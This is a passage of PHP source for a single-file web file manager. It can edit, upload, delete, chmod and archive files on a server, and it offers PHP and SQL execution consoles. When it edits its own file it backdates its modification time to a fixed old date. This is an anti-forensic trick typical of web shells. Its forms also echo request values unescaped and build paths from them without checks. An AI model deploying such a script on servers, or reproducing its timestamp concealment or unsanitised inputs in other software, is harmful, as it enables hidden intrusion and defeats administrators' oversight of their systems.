	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
